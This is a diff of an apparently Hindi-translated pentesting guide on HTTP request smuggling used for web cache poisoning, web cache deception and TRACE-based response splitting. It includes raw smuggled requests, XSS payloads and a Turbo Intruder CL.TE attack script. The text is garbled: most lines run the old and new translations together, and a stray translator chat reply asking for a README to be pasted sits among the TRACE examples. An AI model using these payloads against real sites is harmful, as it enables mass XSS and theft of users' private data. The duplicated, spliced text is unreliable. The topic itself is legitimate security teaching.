### Web Cache Poisoning का शोषण HTTP Request Smuggling के माध्यम से <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> ### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Web cache poisoning तब किया जा सकता है यदि किसी भी घटक में **front-end infrastructure caches content**, आमतौर पर प्रदर्शन बढ़ाने के लिए। सर्वर की प्रतिक्रिया को बदलकर, यह संभव है कि आप **poison the cache**। Web cache poisoning तब किया जा सकता है जब किसी भी कंपोनेंट द्वारा **front-end infrastructure caches content**, जो आमतौर पर प्रदर्शन बढ़ाने के लिए किया जाता है। सर्वर की response को manipulate करके, यह संभव हो जाता है कि **poison the cache**।
Previously, we observed how server responses could be altered to return a 404 error (refer to [Basic Examples](#basic-examples)). Similarly, it’s feasible to trick the server into delivering `/index.html` content in response to a request for `/static/include.js`. Consequently, the `/static/include.js` content gets replaced in the cache with that of `/index.html`, rendering `/static/include.js` inaccessible to users, potentially leading to a Denial of Service (DoS). पूर्व में, हमने देखा था कि सर्वर responses को बदलकर 404 error लौटाया जा सकता है (संदर्भ देखें [Basic Examples](#basic-examples)). इसी तरह, यह संभव है कि सर्वर को धोखा देकर `/static/include.js` के अनुरोध पर `/index.html` की content दे दी जाए। इसके परिणामस्वरूप, cache में `/static/include.js` की सामग्री `/index.html` की सामग्री से बदल दी जाती है, जिससे `/static/include.js` उपयोगकर्ताओं के लिए inaccessible हो जाता है और संभावित रूप से Denial of Service (DoS) हो सकता है।
This technique becomes particularly potent if an **Open Redirect vulnerability** is discovered or if there's an **on-site redirect to an open redirect**. Such vulnerabilities can be exploited to replace the cached content of `/static/include.js` with a script under the attacker's control, essentially enabling a widespread Cross-Site Scripting (XSS) attack against all clients requesting the updated `/static/include.js`. यह technique विशेष रूप से खतरनाक हो जाती है अगर कोई **Open Redirect vulnerability** मिलती है या अगर साइट पर कोई **on-site redirect to an open redirect** मौजूद है। ऐसी vulnerabilities का उपयोग करके cached content of `/static/include.js` को हमलावर के नियंत्रण वाले script से बदल दिया जा सकता है, जिससे मूलतः सभी क्लाइंट्स के खिलाफ व्यापक Cross-Site Scripting (XSS) हमला संभव हो जाता है जो अपडेटेड `/static/include.js` का अनुरोध करते हैं।
Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker: नीचे **cache poisoning combined with an on-site redirect to open redirect** का एक उदाहरण दिया गया है। उद्देश्य `/static/include.js` के cache कंटेंट को बदलकर हमलावर द्वारा नियंत्रित JavaScript को सर्व करना है:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable.net Host: vulnerable.net
@ -650,20 +655,20 @@ Content-Length: 10
x=1 x=1
``` ```
Note the embedded request targeting `/post/next?postId=3`. यह अनुरोध `/post?postId=4` पर रीडायरेक्ट होगा, और डोमेन निर्धारित करने के लिए **Host header value** का उपयोग किया जाएगा। **Host header** को बदल कर, हमलावर अनुरोध को अपने डोमेन पर रीडायरेक्ट कर सकता है (**on-site redirect to open redirect**). ध्यान दें कि एम्बेडेड अनुरोध `/post/next?postId=3` को टार्गेट कर रहा है। यह अनुरोध `/post?postId=4` पर redirect होगा, और डोमेन तय करने के लिए **Host header value** का उपयोग करेगा। **Host header** बदलकर, हमलावर अनुरोध को अपने डोमेन पर redirect कर सकता है (**on-site redirect to open redirect**)।
सफल **socket poisoning** के बाद, `/static/include.js` के लिए एक **GET request** प्रारम्भ किया जाना चाहिए। यह अनुरोध पिछले **on-site redirect to open redirect** अनुरोध से दूषित होगा और हमलावर द्वारा नियंत्रित स्क्रिप्ट की सामग्री को फ़ेच करेगा। सफल **socket poisoning** के बाद, `/static/include.js` के लिए एक **GET request** आरंभ किया जाना चाहिए। यह अनुरोध पहले के **on-site redirect to open redirect** अनुरोध से दूषित हो जाएगा और हमलावर द्वारा नियंत्रित स्क्रिप्ट की सामग्री प्राप्त करेगा।
इसके बाद, `/static/include.js` के लिए कोई भी अनुरोध हमलावर की स्क्रिप्ट की cached सामग्री को परोसेगा, जिससे प्रभावी रूप से व्यापक XSS attack शुरू हो जाएगा। इसके बाद, `/static/include.js` के लिए कोई भी अनुरोध हमलावर की स्क्रिप्ट की cached सामग्री परोसेगा, जो प्रभावी रूप से एक व्यापक XSS attack लॉन्च करेगा।
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a> ### HTTP request smuggling का उपयोग करके web cache deception करने के लिए <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **web cache poisoning और web cache deception में क्या अंतर है?** > **web cache poisoning और web cache deception में क्या अंतर है?**
> >
> - In **web cache poisoning**, हमलावर एप्लिकेशन को cache में कुछ दुर्भावनापूर्ण सामग्री संग्रहीत करने का कारण बनता है, और यह सामग्री cache से अन्य एप्लिकेशन उपयोगकर्ताओं को परोसी जाती है। > - **web cache poisoning** में, हमलावर एप्लिकेशन को cache में कुछ malicious content स्टोर करने के लिए मजबूर करता है, और यह content cache से अन्य एप्लिकेशन उपयोगकर्ताओं को परोसी जाती है।
> - In **web cache deception**, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता का संवेदनशील कंटेंट cache में संग्रहीत करने का कारण बनता है, और फिर हमलावर वह सामग्री cache से पुनः प्राप्त कर लेता है। > - **web cache deception** में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की संवेदनशील सामग्री cache में स्टोर करने के लिए प्रेरित करता है, और फिर हमलावर इस सामग्री को cache से पुनः प्राप्त करता है।
हमलावर एक smuggled request तैयार करता है जो संवेदनशील उपयोगकर्ता-विशेष सामग्री को फ़ेच करता है। निम्नलिखित उदाहरण देखें: हमलावर एक smuggled request तैयार करता है जो संवेदनशील user-specific content को प्राप्त करता है। निम्नलिखित उदाहरण पर विचार करें:
```markdown ```markdown
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -674,17 +679,17 @@ Note the embedded request targeting `/post/next?postId=3`. यह अनुर
`GET /private/messages HTTP/1.1`\ `GET /private/messages HTTP/1.1`\
`Foo: X` `Foo: X`
``` ```
यदि यह smuggled request किसी static content (उदा., `/someimage.png`) के लिए निर्धारित cache entry को poison कर देता है, तो victim का संवेदनशील डेटा `/private/messages` उस static content के cache entry के तहत कैश हो सकता है। परिणामस्वरूप, attacker संभावित रूप से इन cached संवेदनशील डेटा को retrieve कर सकता है। यदि यह smuggled request किसी static content (जैसे `/someimage.png`) के लिए बने cache entry को poison कर देता है, तो पीड़ित के `/private/messages` से संवेदनशील डेटा उस static content की cache entry के तहत cached हो सकता है। परिणामस्वरूप, हमलावर संभावित रूप से इन cached संवेदनशील डेटा को पुनः प्राप्त कर सकता है।
### TRACE का दुरुपयोग HTTP Request Smuggling के माध्यम से <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> ### TRACE का दुरुपयोग HTTP Request Smuggling के माध्यम से <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**In this post**](https://portswigger.net/research/trace-desync-attack) में सुझाव दिया गया है कि यदि server पर method TRACE enabled है तो इसे HTTP Request Smuggling के साथ abuse किया जा सकता है। यह इसलिए है क्योंकि यह method किसी भी header को जो server को भेजा गया है, response के body के हिस्से के रूप में reflect कर देता है। उदाहरण के लिए: [**In this post**](https://portswigger.net/research/trace-desync-attack) में सुझाया गया है कि यदि server पर method TRACE enabled है तो इसे HTTP Request Smuggling के साथ abuse करना संभव हो सकता है। इसका कारण यह है कि यह method server को भेजे गए किसी भी header को response के body के हिस्से के रूप में reflect कर देता है। उदाहरण के लिए:
``` ```
TRACE / HTTP/1.1 TRACE / HTTP/1.1
Host: example.com Host: example.com
XSS: <script>alert("TRACE")</script> XSS: <script>alert("TRACE")</script>
``` ```
कृपया src/pentesting-web/http-request-smuggling/README.md की सामग्री यहाँ पेस्ट करें — मैं इसे दिए गए निर्देशों के अनुसार हिंदी में अनुवाद कर दूंगा। ठीक है — कृपया src/pentesting-web/http-request-smuggling/README.md की सामग्री यहाँ पेस्ट करें। मैं उसे दिए गए नियमों के अनुसार हिंदी में अनुवाद करके वापस करूँगा, और markdown, tags, code, links, paths तथा हाकिंग-टर्म्स अपरिवर्तित रखूँगा।
``` ```
HTTP/1.1 200 OK HTTP/1.1 200 OK
Content-Type: message/http Content-Type: message/http
@ -695,17 +700,19 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script> XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx X-Forwarded-For: xxx.xxx.xxx.xxx
``` ```
इस व्यवहार का दुरुपयोग करने का एक उदाहरण होगा कि **smuggle first a HEAD request**। यह request केवल GET request के **headers** के साथ respond होगा (जिनमें **`Content-Type`** शामिल है)। और तुरंत HEAD के बाद **immediately after the HEAD a TRACE request** smuggle करें, जो **reflecting the sent dat**a होगा।\ इस व्यवहार का दुरुपयोग करने का एक उदाहरण होगा कि **smuggle first a HEAD request**। यह request केवल GET request के **headers** के साथ respond किया जाएगा (**`Content-Type`** उनमें से एक)। और HEAD के तुरंत बाद **smuggle immediately after the HEAD a TRACE request** भेजें, जो भेजे गए डेटा को प्रतिबिंबित करेगा।\\
चूँकि HEAD response में `Content-Length` header होगा, इसलिए **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** response में प्रतिबिंबित होगा।\
यह response connection पर अगले request को भेज दिया जाएगा, इसलिए इसका उपयोग किसी cached JS file में arbitrary JS code इंजेक्ट करने के लिए किया जा सकता है।
### TRACE का दुरुपयोग HTTP Response Splitting के माध्यम से <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> चूँकि HEAD response में `Content-Length` header होगा, इसलिए **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data**।\\
[**this post**](https://portswigger.net/research/trace-desync-attack) को पढ़ना सुझाया गया है; यह TRACE method के दुरुपयोग का एक और तरीका बताता है। जैसा कि बताया गया है, smuggling a HEAD request and a TRACE request के साथ HEAD response में **control some reflected data** करना संभव है। HEAD request के body की लंबाई मूलतः `Content-Length` header में बताई जाती है और यह TRACE request के response से बनी होती है। यह response connection पर अगले request को भेज दिया जाएगा, इसलिए इसे उदाहरण के लिए cached JS फ़ाइल में **used in a cached JS file for example to inject arbitrary JS code** के रूप में उपयोग किया जा सकता है।
इसलिए, नई सोच यह होगी कि, इस `Content-Length` और TRACE response में दिए गए डेटा को जानकर, यह संभव है कि TRACE response में `Content-Length` के अंतिम बाइट के बाद एक वैध HTTP response रखा जाए, जिससे attacker अगले response के request को पूरी तरह नियंत्रित कर सके (जिसका उपयोग cache poisoning करने के लिए किया जा सकता है)। ### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Example: अनुशंसा की जाती है कि [**this post**](https://portswigger.net/research/trace-desync-attack) को पढ़ा जाए जो TRACE method को दुरुपयोग करने का एक और तरीका सुझाती है। जैसा कि बताया गया है, HEAD request और TRACE request को smuggling करके HEAD request के response में कुछ reflected डेटा को **control some reflected data** करना संभव है। HEAD request के body की लंबाई मूलतः `Content-Length` header में दर्शाई जाती है और यह TRACE request के response से बनती है।
इसलिए, नई सोच यह होगी कि, इस `Content-Length` और TRACE response में दिए गए डेटा को जानकर, यह संभव है कि TRACE response में `Content-Length` के आख़िरी बाइट के बाद एक वैध HTTP response रखा जाए, जिससे attacker अगले response के लिए request को पूरी तरह control कर सके (जिसका उपयोग cache poisoning करने के लिए किया जा सकता है)।
उदाहरण:
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Host: example.com Host: example.com
@ -724,7 +731,7 @@ Content-Length: 44\r\n
\r\n \r\n
<script>alert("response splitting")</script> <script>alert("response splitting")</script>
``` ```
ये responses उत्पन्न करेगा (ध्यान दें कि HEAD response में एक Content-Length है, जो TRACE response को HEAD body का हिस्सा बना देता है, और जैसे ही HEAD Content-Length समाप्त होता है एक मान्य HTTP response smuggled हो जाता है): ये responses जनरेट करेगा (ध्यान दें कि HEAD response में Content-Length है, जो TRACE response को HEAD body का हिस्सा बनाता है और जैसे ही HEAD Content-Length समाप्त होता है, एक वैध HTTP response smuggled हो जाता है):
``` ```
HTTP/1.1 200 OK HTTP/1.1 200 OK
Content-Type: text/html Content-Type: text/html
@ -745,10 +752,9 @@ Content-Length: 50
<script>alert(“arbitrary response”)</script> <script>alert(“arbitrary response”)</script>
``` ```
### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation ### HTTP Request Smuggling को HTTP Response Desynchronisation के साथ हथियार बनाना
क्या आपने कोई HTTP Request Smuggling vulnerability पाया है और आप नहीं जानते कि इसे कैसे exploit किया जाए? इन अन्य exploitation तरीकों को आज़माएँ:
क्या आपने कोई HTTP Request Smuggling vulnerability पाया है और आपको पता नहीं कि इसे कैसे exploit करें? इन अन्य exploitation तरीकों को आज़माएँ:
{{#ref}} {{#ref}}
../http-response-smuggling-desync.md ../http-response-smuggling-desync.md
@ -774,7 +780,7 @@ request-smuggling-in-http-2-downgrades.md
### CL.TE ### CL.TE
स्रोत: [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
@ -857,18 +863,18 @@ time.sleep(0.05)
def handleResponse(req, interesting): def handleResponse(req, interesting):
table.add(req) table.add(req)
``` ```
## Tools ## उपकरण
- HTTP Hacker (Burp BApp Store) – concatenation/framing और low‑level HTTP व्यवहार को विज़ुअलाइज़ करने के लिए - HTTP Hacker (Burp BApp Store) – concatenation/framing और low‑level HTTP व्यवहार को दृश्य रूप में दिखाने के लिए
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?" - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling) - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py) - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz) - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): यह टूल एक grammar-based HTTP Fuzzer है, जो अजीब request smuggling असंगतियों को खोजने में उपयोगी है। - [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): यह टूल एक grammar-based HTTP Fuzzer है जो विचित्र request smuggling विसंगतियों को खोजने में उपयोगी है।
## References ## संदर्भ
- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) - [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding) - [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -879,7 +885,7 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack) - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- झूठे false‑positive से सावधान: HTTP pipelining और request smuggling में कैसे अंतर करें – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) - false false‑positive से सावधान रहें: HTTP pipelining को request smuggling से कैसे अलग करें – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/) - [https://http1mustdie.com/](https://http1mustdie.com/)
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)